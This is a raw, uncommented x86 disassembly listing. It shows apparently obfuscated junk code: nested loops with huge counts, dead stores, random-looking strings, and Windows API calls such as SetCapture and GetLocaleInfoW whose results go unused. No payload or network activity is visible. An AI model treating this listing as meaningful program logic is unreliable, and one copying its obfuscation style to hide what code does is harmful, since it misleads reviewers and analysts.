cmp dword [ebp - 0x1c], ebx
jl 0x4102d3
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x4102fd
mov eax, ebx
cmp eax, dword [ebp - 0x14]
jg 0x4102fb
mov edx, ebx
jmp 0x4102ff
xor eax, eax
mov edx, eax
mov ecx, dword [ebp - 0x3cc]
mov eax, dword [ebp - 0x14]
imul eax, edx
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x3cc]
mov eax, dword [eax + 8]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0xa8]
cmp dword [ebp - 0xa8], 0xb44adca1
sbb edx, edx
neg edx
mov eax, dword [ebp - 0xa8]
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
lea ecx, [ebp - 0x3cc]
call fcn.0040bea4
mov dword [ebp - 0x28], 0xffffffff
push ebx
lea ecx, [ebp - 0x230]
call fcn.0040bdd2
mov dword [ebp - 0x14], 0
jmp 0x410378
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x230]
mov dword [eax + ecx*4], 0xf432
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
jl 0x410365
mov dword [ebp - 0x28], 8
jmp 0x4104a1
mov dword [ebp - 0xe0], 0xe56f9b2c
mov dword [ebp - 0xdc], 0xe56f9b2c
mov dword [ebp - 0xd8], 0xe56f9b2c
mov dword [ebp - 0xd4], 0xe56f9b2c
mov dword [ebp - 0x30], 0xfa48a2b8
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xdc], 0xffffffe7
jmp 0x410491
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x2c], 0xfffffff7
mov eax, dword [ebp - 0xdc]
cmp dword [ebp - 0x14], 0
jne 0x4103ed
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xd8]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xdc]
sub edx, eax
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setge cl
xor eax, eax
cmp eax, ecx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0xd4]
xor ecx, ecx
mov eax, dword [ebp - 0x230]
cmp edx, dword [eax]
setle cl
mov dword [ebp - 0x30], ecx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setl dl
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x230]
xor esi, esi
cmp dword [eax], esi
jne 0x410486
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
cmp eax, ebx
setl cl
mov edx, dword [ebp - 0x28]
imul edx, ecx
sub edx, dword [ebp - 0xdc]
neg edx
sbb edx, edx
inc edx
mov eax, dword [ebp - 0x30]
sub eax, edx
imul ecx, eax, 0xfffa
mov eax, dword [ebp - 0x230]
add ecx, dword [eax]
mov eax, dword [ebp - 0x14]
sub ecx, eax
jne 0x410486
xor eax, eax
jmp 0x410488
mov eax, ebx
mov dword [ebp - 0x14], eax
inc dword [ebp - 0xdc]
cmp dword [ebp - 0xdc], 0xfffffff8
je 0x4103ca
dec dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0xfffffff8
jne 0x410389
lea ecx, [ebp - 0x230]
call fcn.0040bea4
mov dword [ebp - 0x3c], 0x6847dfa8
mov dword [ebp - 0x2c], 0x3907
cmp dword [ebp - 0x2c], 0x3c68
jle 0x41054a
and dword [ebp - 0x30], 0
xor ecx, ecx
mov dword [ebp - 0x14], ecx
xor edi, edi
xor ebx, ebx
xor esi, esi
mov eax, edi
cdq
idiv ebx
lea eax, [ecx + edx]
xor eax, dword [ebp - 0x30]
cdq
push edx
push eax
lea ecx, [ebp - 0x107c]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
push esi
push 1
lea ecx, [ebp - 0x107c]
call fcn.0040c380
inc ebx
cmp ebx, 0x5785
mov ecx, dword [ebp - 0x14]
jl 0x4104dc
inc edi
cmp edi, 0x6d7e
jl 0x4104d8
inc ecx
mov dword [ebp - 0x14], ecx
cmp ecx, 0x184c
jl 0x4104d6
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x5545
jl 0x4104d1
mov edi, 0x90a624cd
xor ebx, ebx
inc ebx
mov byte [ebp - 0x49], 0
cmp byte [ebp - 0x49], 0
je 0x41055f
push 0x1509
call dword [sym.imp.USER32.dll_SetCapture]
mov dword [ebp - 4], 8
cmp dword [ebp - 0x2c], 0x3690
jge 0x41057a
push str.vletc_kodjg_pcj_wsjak_ppyodoman_xtgut_ffdrj_qzzhrpv_ejngzzs_oijhpqw_mffksm_aipahw_qqoezig
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x4105aa
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x4105c0
push 0x1b1e
call dword [sym.imp.USER32.dll_GetDlgCtrlID]
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 2
jge 0x4105e4
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x810]
mov dword [eax + ecx*4], 0x2afe
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x4105c9
xor eax, eax
mov dword [ebp - 0x58], 0x1cd6
cmp dword [ebp - 0x58], 0x1d9b
jle 0x410699
mov edx, eax
mov dword [ebp - 0x30], edx
jmp 0x410601
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x44], ecx
jmp 0x41060a
xor eax, eax
mov edi, eax
mov dword [ebp - 0x2c], edi
mov eax, edx
cdq
idiv ecx
mov eax, edx
mov dword [ebp - 0x54], eax
xor ebx, ebx
and eax, edi
mov dword [ebp - 0x38], eax
xor esi, esi
mov edi, eax
mov eax, edi
or eax, ebx
cdq
push edx
push eax
lea ecx, [ebp - 0xecc]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
push esi
push 1
lea ecx, [ebp - 0xecc]
call fcn.0040c380
inc ebx
cmp ebx, 0x4f86
jl 0x410624
mov edi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x6b24
mov eax, dword [ebp - 0x54]
jl 0x410619
mov ecx, dword [ebp - 0x44]
inc ecx
mov dword [ebp - 0x44], ecx
cmp ecx, 0x4e13
mov edx, dword [ebp - 0x30]
jl 0x410608
inc edx
mov dword [ebp - 0x30], edx
cmp edx, 0x712b
jl 0x4105ff
mov edi, 0x90a624cd
xor ebx, ebx
inc ebx
mov dword [ebp - 4], 0xa
cmp dword [ebp - 0x58], 0x1a51
jge 0x4106b4
push str.scbkcwtx_wpbugmho_myqo_iswmuxc_chqnzkt_mnoh_kbeljswnh_lpvoln_ppshvuag_qzu_pvhspng_wvlknoth_pqtvhw_gtkdea
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
jmp 0x4106e0
push 3
pop esi
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x50], 0x3b9da4d0
mov dword [ebp - 0x30], 0xfff7
push esi
lea ecx, [ebp - 0x8dc]
call fcn.0040bdd2
mov dword [ebp - 0x28], 0xc62bb2c5
mov dword [ebp - 0x1c], 0
jmp 0x410723
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x8dc]
mov dword [eax + ecx*4], 0x9d6b9c2d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x410710
mov dword [ebp - 0x1c], 0
jmp 0x410742
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x4bc], 0xfffffff6
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x410731
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x50], eax
xor eax, eax
cmp dword [ebp - 0x30], eax
je 0x410763
cmp dword [ebp - 0x50], eax
je 0x41075d
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], ebx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x30]
xor edx, edx
cmp ecx, eax
setg dl
mov dword [ebp - 0x4bc], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x4b8]
add eax, ecx
mov dword [ebp - 0x28], eax
lea ecx, [ebp - 0x8dc]
call fcn.0040bea4
mov dword [ebp - 0x14], 0xfffffff7
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], ebx
jg 0x410a06
or edi, 0xffffffff
mov dword [ebp - 0x7c4], 0xfffffff9
mov dword [ebp - 0x7c0], 0xfffffff9
mov dword [ebp - 0x7bc], 0xfffffff9
mov dword [ebp - 0x7b8], 0xfffffff9
mov dword [ebp - 0x2c], 0xfffffff9
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x3c], 0xffff
mov dword [ebp - 0x3c], 0xfffffffb
mov dword [ebp - 0x3c], 0x627e80a7
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 2
jge 0x410828
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0xd38], 5
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 2
jl 0x41080f
xor eax, eax
mov dword [ebp - 0x7b8], 0x8bbca631
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x28], eax
jmp 0x410840
inc dword [ebp - 0x2c]
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 9
jge 0x41083a
mov byte [ebp - 0x15], al
mov dword [ebp - 0x1c], 0xac204e2d
mov dword [ebp - 0x54], edi
mov dword [ebp - 0x3c], 0xfffffff9
mov dword [ebp - 0x60], 0xcf687292
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], ebx
jge 0x410881
mov eax, dword [ebp - 0x28]
mov dword [ebp + eax*4 - 0x134], 4
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jl 0x410869
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xfffffff3
jne 0x4109d3
mov dword [ebp - 0x30], 0x3888
mov dword [ebp - 0x64], 0x2ef703c5
mov dword [ebp - 0x2c], 0x11fc80ae
mov dword [ebp - 0x3c], 0xe3f36a5b
push esi
lea ecx, [ebp - 0x6d8]
call fcn.0040bdd2
mov dword [ebp - 0x38], 0xbab1f356
mov dword [ebp - 0x20], 0
push 2
pop ecx
jmp 0x4108da
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x2cc], 0xcadfb1af
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x4108c9
mov dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], ecx
jge 0x410902
xor esi, esi
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x4c4], esi
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ecx
jl 0x4108ed
push 3
pop esi
mov dword [ebp - 0x20], 0
jmp 0x41091e
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x6d8]
mov dword [eax + ecx*4], 0x2932384
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], esi
jl 0x41090b
mov eax, dword [ebp - 0x1c]
inc dword [ebp - 0x4c4]
mov eax, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp eax, ecx
setg dl
sub edx, dword [ebp - 0x134]
je 0x41095a
cmp dword [ebp - 0x2c], 0
je 0x41095a
mov ecx, ebx
jmp 0x41095c
xor ecx, ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x30]
xor eax, eax
cmp ecx, esi
setne al
imul eax, dword [ebp - 0x30]
mov dword [ebp - 0x134], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x6d8]
mov edx, dword [eax]
sub edx, ecx
mov eax, dword [ebp - 0x1c]
sub edx, eax
add edx, 0x4fb389fa
mov dword [ebp - 0x38], edx
je 0x4109a8
xor eax, eax
cmp dword [ebp - 0x54], eax
je 0x4109aa
cmp dword [ebp - 0x60], eax
je 0x4109aa
cmp dword [ebp - 0x2c8], eax
je 0x4109aa
mov edx, ebx
jmp 0x4109ac
xor eax, eax
mov edx, eax
mov eax, dword [ebp - 0x64]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x2c], ecx
lea ecx, [ebp - 0x6d8]
call fcn.0040bea4
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff3
je 0x41088e
xor eax, eax
mov byte [ebp - 0x49], al
cmp byte [ebp - 0x49], 0
je 0x4109e5
push eax
call dword [sym.imp.USER32.dll_RegisterClassW]
xor eax, eax
cmp byte [ebp - 0x15], 0
je 0x4109f2
push eax
call dword [sym.imp.USER32.dll_CharNextW]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
push 0
pop eax
jle 0x4107bf
mov edi, 0x90a624cd
lea ecx, [ebp - 0x810]
call fcn.0040bea4
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], 0x3eb60693
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x14], eax
jmp 0x410a39
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0xe48], 0xa167c28c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x410a28
cmp dword [ebp - 0x28], ebx
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x28]
xor edx, edx
cmp ecx, eax
setne dl
sub edx, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp eax, edx
setg cl
xor eax, eax
cmp ecx, 0xcd45
setle al
cmp eax, dword [ebp - 0x28]
jle 0x410a8d
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x410b18
push 0x1eb4
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
jmp 0x410b18
mov dword [ebp - 0x38], 0xfffe
push esi
lea ecx, [ebp - 0xad4]
call fcn.0040bdd2
movdqa xmm0, xmmword [0xa98e10]
movdqu xmmword [ebp - 0xb30], xmm0
lea ecx, [ebp - 0xb30]
lea eax, [ebp - 0xb20]
push ecx
push eax
push ecx
lea ecx, [ebp - 0xd1c]
call fcn.0040be7e
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], esi
jge 0x410af0
xor esi, esi
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xad4]
mov dword [eax + ecx*4], esi
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x410ad8
push 3
pop esi
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x38], eax
dec dword [ebp - 0x2c]
lea ecx, [ebp - 0xd1c]
call fcn.0040bea4
lea ecx, [ebp - 0xad4]
call fcn.0040bea4
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x2c], 0xfffffff7
mov dword [ebp - 0x2c], 0x5fe46c2e
mov dword [ebp - 0x28], 9
mov dword [ebp - 0x38], 0xf9a0
mov dword [ebp - 0x14], 0x9da9
mov dword [ebp - 0x2c], 0xbbfad0d7
mov dword [ebp - 0x54], 0x800f
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0
jne 0x410b78
mov edx, dword [ebp - 0x1c]
sub edx, dword [ebp - 0x1c]
neg edx
sbb edx, edx
add edx, 7
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x28], ecx
xor eax, eax
cmp dword [ebp - 0x28], eax
mov ecx, eax
je 0x410b7a
mov ecx, ebx
xor eax, eax
cmp ecx, 0x7a5e
setge al
cmp eax, dword [ebp - 0x1c]
jle 0x410b8d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], 5
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setg dl
imul edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setge cl
imul eax, ecx, 3
cmp eax, 0xffffffff
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x1c]
xor edx, edx
cmp ecx, eax
setne dl
imul edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x14]
je 0x410bdc
cmp dword [ebp - 0x14], 0
je 0x410bdc
mov ecx, ebx
jmp 0x410bde
xor ecx, ecx
mov eax, dword [ebp - 0x14]
xor edx, edx
cmp ecx, eax
setl dl
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp eax, edx
setne cl
imul ecx, dword [ebp - 0x14]
mov dword [ebp - 0x2c], ecx
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
inc eax
sub eax, dword [ebp - 0x14]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x28], eax
push 4
lea ecx, [ebp - 0x3e4]
call fcn.0040bdd2
mov dword [ebp - 0x2c], 0xe314a5ea
or ecx, 0xffffffff
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x60], 0x914cc5c6
mov dword [ebp - 0x1c], 0
jmp 0x410c46
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x84], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ebx
jl 0x410c39
mov dword [ebp - 0x1c], 0
jmp 0x410c67
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3e4]
mov dword [eax + ecx*4], 0x546158d3
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x410c54
mov dword [ebp - 0x84], 0xfffffff9
cmp dword [ebp - 0x84], 0xffffffe2
jle 0x410e29
mov dword [ebp - 0x14], 0x3b3152c5
mov dword [ebp - 0x38], 0xfadf6285
mov dword [ebp - 0x54], 0xc18ab9c2
mov dword [ebp - 0x44], 0x242a
cmp dword [ebp - 0x44], 0x2805
jle 0x410d1d
xor eax, eax
mov dword [ebp - 0x30], eax
xor edi, edi
mov dword [ebp - 0x2c], edi
xor ebx, ebx
cdq
idiv edi
mov edi, edx
xor esi, esi
mov eax, ebx
and eax, edi
cdq
push edx
push eax
lea ecx, [ebp - 0xfc8]
call fcn.004019d8
pop ecx
pop ecx
mov ecx, eax
call fcn.0040bba0
push eax
call fcn.004b7f67
pop ecx
push esi
push 1
lea ecx, [ebp - 0xfc8]
call fcn.0040c380
inc ebx
cmp ebx, 0x160d
jl 0x410cbc
mov edi, dword [ebp - 0x2c]
inc edi
mov dword [ebp - 0x2c], edi
cmp edi, 0x6d07
mov eax, dword [ebp - 0x30]
jl 0x410cb3
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 0x6637
jl 0x410cae
mov edi, 0x90a624cd
xor ebx, ebx
inc ebx
push 3
pop esi
mov dword [ebp - 0x14], 0
jmp 0x410d37
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x828], 0xfffffffb
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x410d26
mov dword [ebp - 4], 0xc
cmp dword [ebp - 0x44], 0x2416
jge 0x410d57
push str.uelgijpo_avft_usgtwdv_fqgkqcriy
call fcn.004b7f67
pop ecx
or dword [ebp - 4], 0xffffffff
xor eax, eax
jmp 0x410d8a
lea ecx, [ebp - 0x3e4]
call fcn.0040bea4
mov dword [ebp - 0x1c], 0xfffffffa
xor esi, esi
mov dword [ebp - 0x34], esi
mov dword [ebp - 0x3c], ebx
mov dword [ebp - 0x58], 0xfffffffb
push ebx
lea ecx, [ebp - 0x1b4]
call fcn.0040bdd2
mov dword [ebp - 0x48], 0xe31bb000
mov dword [ebp - 0x5c], 0x94592404
push 4
lea ecx, [ebp - 0x558]
call fcn.0040bdd2
push 3
pop esi
push esi
lea ecx, [ebp - 0x630]
call fcn.0040bdd2
mov dword [ebp - 0x20], 0
jmp 0x410e9c
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1b4]
mov dword [eax + ecx*4], 0x8e55a441
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jl 0x410e89
mov dword [ebp - 0x20], 0
jmp 0x410ebd
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x558]
mov dword [eax + ecx*4], 0x45464cd0
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 4
jl 0x410eaa
mov dword [ebp - 0x20], 0
jmp 0x410edf